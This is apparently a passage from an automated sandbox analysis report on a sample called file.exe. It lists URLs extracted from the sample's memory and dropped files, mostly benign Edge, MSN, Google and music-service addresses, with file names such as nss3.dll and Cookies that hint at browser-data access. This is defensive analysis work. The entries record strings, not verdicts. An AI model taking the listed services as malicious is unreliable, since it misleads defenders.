Source: file.exe, 00000000.00000002.2736884745.0000000023F14000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHDAKJECBFHCBAA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2736884745.0000000023F14000.00000004.00000020.00020000.00000000.sdmp, DHCGIDHDAKJECBFHCBAA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.8.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2475374366.0000000023EBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr, CBFBGCGI.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2475374366.0000000023EBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr, CBFBGCGI.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2475374366.0000000023EBF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, AECAKECA.0.dr, CBFBGCGI.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: c7e6d3e3-e840-42b0-8d27-6aace4e63d87.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log9.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log9.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log9.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log10.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log9.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log9.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_506.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_506.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_506.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_506.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: DHCGIDHDAKJECBFHCBAA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: 087855c5-3e41-424c-8c9a-4e6fd9a1da28.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.8.dr, 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log0.8.dr, 000003.log3.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376583809920189.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
